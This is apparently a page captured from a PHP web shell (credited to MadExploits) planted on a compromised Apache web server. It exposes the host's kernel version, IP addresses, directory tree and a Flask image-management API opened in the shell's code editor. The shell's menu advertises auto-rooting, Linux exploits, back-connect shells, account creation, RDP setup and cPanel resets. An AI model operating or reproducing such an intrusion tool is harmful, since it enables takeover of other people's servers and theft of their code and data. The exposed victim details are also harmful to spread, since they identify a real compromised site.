Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.14.131.93
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
.vscode
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
explore
[ DIR ]
drwxr-xr-x
mara1_model
[ DIR ]
drwxr-xr-x
nltk_data
[ DIR ]
drwxr-xr-x
pythainlp_data
[ DIR ]
drwxr-xr-x
runs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
yolo8
[ DIR ]
drwxr-xr-x
. htaccess
417
B
-rwxr-xr-x
.htaccess
197
B
-rwxr-xr-x
app.log
66
B
-rwxr-xr-x
app.py
16.16
KB
-rwxr-xr-x
app.wsgi
568
B
-rwxr-xr-x
blog_ttt_website.py
5.07
KB
-rwxr-xr-x
config.py
485
B
-rwxr-xr-x
content_content_image_ram.py
11.07
KB
-rw-r--r--
content_main_ram.py
15.99
KB
-rw-r--r--
detect.py
8.16
KB
-rwxr-xr-x
explore.py
11.4
KB
-rw-r--r--
json_logfile.json
18
B
-rwxr-xr-x
keywords.json
203
B
-rw-r--r--
locations.json
299
B
-rw-r--r--
read_virus_files_php.py
2.6
KB
-rwxr-xr-x
table.csv
56.2
KB
-rw-r--r--
travel.py
6.89
KB
-rw-r--r--
travel_action.py
10.72
KB
-rw-r--r--
travel_mara1.py
12.6
KB
-rw-r--r--
travel_nltk_base.py
5.21
KB
-rw-r--r--
travel_pythainlp.py
9.37
KB
-rw-r--r--
udo systemctl daemon-reload
1.07
KB
-rwxr-xr-x
udo systemctl restart apache2
1.25
KB
-rwxr-xr-x
your_flask_service.log
1.07
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : content_content_image_ram.py
# /var/www/afra/py.afaa.website/content_content_image_ram.py # python3 content_content_image_ram.py from flask import Flask, jsonify, request from flask_cors import CORS import mysql.connector from config import DB_CONFIG_RAM from datetime import timedelta app = Flask(__name__) CORS(app) def query_db(query, params=None, commit=False): """ ฟังก์ชันช่วยในการรันคำสั่ง SQL โดยรับ query (string) และ params (tuple หรือ list) ถ้า commit=True จะบันทึกการเปลี่ยนแปลง (สำหรับ INSERT, UPDATE, DELETE) ส่งผลลัพธ์กลับมาเป็น list ของ dictionary (สำหรับ SELECT) """ with mysql.connector.connect(**DB_CONFIG_RAM) as conn: with conn.cursor(dictionary=True) as cursor: if params: cursor.execute(query, params) else: cursor.execute(query) if commit: conn.commit() return cursor.rowcount # ส่งคืนจำนวนแถวที่ได้รับผลกระทบ return cursor.fetchall() def serialize_image_result(result): """ ฟังก์ชันช่วยแปลงข้อมูลที่อาจไม่สามารถ serialize เป็น JSON ได้ (เช่น timedelta) ในที่นี้หากมีคอลัมน์เวลาเป็น timedelta ให้แปลงเป็น string """ for row in result: for key, value in row.items(): if isinstance(value, timedelta): row[key] = str(value) return result def get_base_query_image(): """ SELECT พื้นฐานจากตาราง img_home """ return """ SELECT img_home.ImgHome_ID, img_home.ImgHome_Img, img_home.ImgHome_ImgOriginal, img_home.Home_ID, img_home.ImgHome_Sort, img_home.StatusImgHome_ID, img_home.ImgHome_Date, img_home.ImgHome_Tine, img_home.ImgSource_Domain FROM img_home WHERE 1 """ @app.route('/api/content_image/view', methods=['GET']) def get_content_image(): """ แสดงรายการภาพจากตาราง img_home รองรับการค้นหาด้วยพารามิเตอร์ ImgHome_ID, Home_ID และรองรับ limit/offset สำหรับการแบ่งหน้า """ img_home_id = request.args.get('ImgHome_ID', type=int) home_id = request.args.get('Home_ID', type=int) limit_param = request.args.get('limit', 10, type=int) offset_param = request.args.get('offset', 0, type=int) if limit_param <= 0: limit_param = 10 if offset_param < 0: offset_param = 0 base_query = get_base_query_image() conditions = [] params = [] if img_home_id is not None: conditions.append("img_home.ImgHome_ID = %s") params.append(img_home_id) if home_id is not None: conditions.append("img_home.Home_ID = %s") params.append(home_id) # สร้าง query สำหรับนับจำนวนทั้งหมด count_query = "SELECT COUNT(*) as total FROM img_home WHERE 1" if conditions: count_query += " AND " + " AND ".join(conditions) total_results = query_db(count_query, params if conditions else None) total_count = total_results[0]['total'] if total_results else 0 # ต่อเงื่อนไขใน query หลัก if conditions: base_query += " AND " + " AND ".join(conditions) base_query += " ORDER BY img_home.ImgHome_Sort ASC LIMIT %s OFFSET %s" params.extend([limit_param, offset_param]) results = query_db(base_query, params) results = serialize_image_result(results) response = { "results": results, "limit": limit_param, "offset": offset_param, "total_count": total_count } return jsonify(response) @app.route('/api/content_image/insert', methods=['POST']) def insert_content_image(): """ เพิ่มข้อมูลใหม่ในตาราง img_home - รองรับการส่ง JSON body ได้หลายรายการในรูป array หรือรายการเดียวเป็น object - ใช้วิธี GET ตามข้อกำหนด (ปกติควรเป็น POST) - ตัวอย่างคอลัมน์: ImgHome_Img, ImgHome_ImgOriginal, Home_ID, ImgHome_Sort, StatusImgHome_ID, ImgHome_Date, ImgHome_Tine, ImgSource_Domain """ # อ่าน JSON จาก request.get_json(silent=True) แม้จะเป็น GET data = request.get_json(silent=True) if not data: return jsonify({'error': 'No data provided via JSON'}), 400 if isinstance(data, dict): data = [data] # ห่อเป็น list ถ้าส่งมาเป็น object เดี่ยว insert_query = """ INSERT INTO img_home ( ImgHome_Img, ImgHome_ImgOriginal, Home_ID, ImgHome_Sort, StatusImgHome_ID, ImgHome_Date, ImgHome_Tine, ImgSource_Domain ) VALUES (%s, %s, %s, %s, %s, %s, %s, %s) """ total_inserted = 0 try: with mysql.connector.connect(**DB_CONFIG_RAM) as conn: with conn.cursor(dictionary=True) as cursor: for item in data: params = ( item.get('ImgHome_Img', ''), item.get('ImgHome_ImgOriginal', ''), item.get('Home_ID', None), item.get('ImgHome_Sort', 0), item.get('StatusImgHome_ID', 1), item.get('ImgHome_Date', None), item.get('ImgHome_Tine', None), item.get('ImgSource_Domain', '') ) cursor.execute(insert_query, params) total_inserted += cursor.rowcount conn.commit() return jsonify({'message': 'Inserted successfully', 'inserted_count': total_inserted}), 201 except mysql.connector.Error as e: return jsonify({'error': str(e)}), 500 @app.route('/api/content_image/update', methods=['PUT']) def update_content_image(): data = request.get_json(silent=True) if not data: return jsonify({'error': 'No data provided via JSON'}), 400 if isinstance(data, dict): data = [data] total_updated = 0 try: with mysql.connector.connect(**DB_CONFIG_RAM) as conn: with conn.cursor(dictionary=True) as cursor: for item in data: img_home_id = item.get('ImgHome_ID') if not img_home_id: # ถ้าไม่มี ImgHome_ID ก็ข้าม continue check_query = "SELECT ImgHome_ID FROM img_home WHERE ImgHome_ID = %s" cursor.execute(check_query, (img_home_id,)) check_result = cursor.fetchall() if not check_result: # ถ้าไม่เจอ record => ข้าม continue set_clause = [] params = [] if 'ImgHome_Img' in item: set_clause.append("ImgHome_Img = %s") params.append(item['ImgHome_Img']) if 'ImgHome_ImgOriginal' in item: set_clause.append("ImgHome_ImgOriginal = %s") params.append(item['ImgHome_ImgOriginal']) if 'Home_ID' in item: set_clause.append("Home_ID = %s") params.append(item['Home_ID']) if 'ImgHome_Sort' in item: set_clause.append("ImgHome_Sort = %s") params.append(item['ImgHome_Sort']) if 'StatusImgHome_ID' in item: set_clause.append("StatusImgHome_ID = %s") params.append(item['StatusImgHome_ID']) if 'ImgHome_Date' in item: set_clause.append("ImgHome_Date = %s") params.append(item['ImgHome_Date']) if 'ImgHome_Tine' in item: set_clause.append("ImgHome_Tine = %s") params.append(item['ImgHome_Tine']) if 'ImgSource_Domain' in item: set_clause.append("ImgSource_Domain = %s") params.append(item['ImgSource_Domain']) if not set_clause: # ไม่มีฟิลด์ที่จะอัปเดต continue # ต่อท้ายเงื่อนไข where params.append(img_home_id) update_query = f"UPDATE img_home SET {', '.join(set_clause)} WHERE ImgHome_ID = %s" cursor.execute(update_query, params) total_updated += cursor.rowcount conn.commit() if total_updated == 0: return jsonify({'message': 'No changes or records not found', 'affected_rows': 0}), 200 else: return jsonify({'message': 'Updated successfully', 'affected_rows': total_updated}), 200 except mysql.connector.Error as e: return jsonify({'error': str(e)}), 500 @app.route('/api/content_image/delete', methods=['DELETE']) def delete_content_image(): data = request.get_json(silent=True) if data and isinstance(data, list): # ถ้าเป็น list แสดงว่าเป็น list ของ ImgHome_ID img_ids = [int(x) for x in data if str(x).isdigit()] if not img_ids: return jsonify({'error': 'No valid ImgHome_ID in list'}), 400 placeholders = ','.join(['%s'] * len(img_ids)) query = f"DELETE FROM img_home WHERE ImgHome_ID IN ({placeholders})" params = tuple(img_ids) else: # ลองอ่านพารามิเตอร์จาก URL img_home_id = request.args.get('ImgHome_ID', type=int) if not img_home_id: return jsonify({'error': 'ImgHome_ID required in JSON body or query param'}), 400 query = "DELETE FROM img_home WHERE ImgHome_ID = %s" params = (img_home_id,) try: affected_rows = query_db(query, params, commit=True) if affected_rows == 0: return jsonify({'message': 'No records found to delete', 'affected_rows': 0}), 404 return jsonify({'message': 'Deleted successfully', 'affected_rows': affected_rows}), 200 except mysql.connector.Error as e: return jsonify({'error': str(e)}), 500 # ถ้าจะรันเป็น standalone if __name__ == "__main__": app.run(host="0.0.0.0", port=422, debug=True)
Close